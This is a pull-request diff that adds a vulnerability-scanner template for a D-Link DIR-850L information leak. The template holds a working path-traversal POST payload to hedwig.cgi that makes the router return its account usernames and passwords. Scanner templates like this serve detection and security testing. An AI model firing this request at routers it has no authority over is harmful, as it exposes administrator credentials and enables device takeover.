Merge pull request #787 from pikpikcu/patch-36

Create dlink-dir-850l-info-leak

vulnerabilities/other/dlink-850L-info-leak.yaml

@@ -0,0 +1,28 @@
+id: dlink-850L-info-leak
+
+info:
+  name: Dlink Dir-850L Info Leak
+  author: pikpikcu
+  severity: info
+  reference: https://xz.aliyun.com/t/2941
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/hedwig.cgi"
+    body: |
+        <?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>
+    headers:
+      Cookie: uid=R8tBjwtFc8
+      Content-Type: text/xml
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "</usrid>"
+          - "</password>"
+        part: body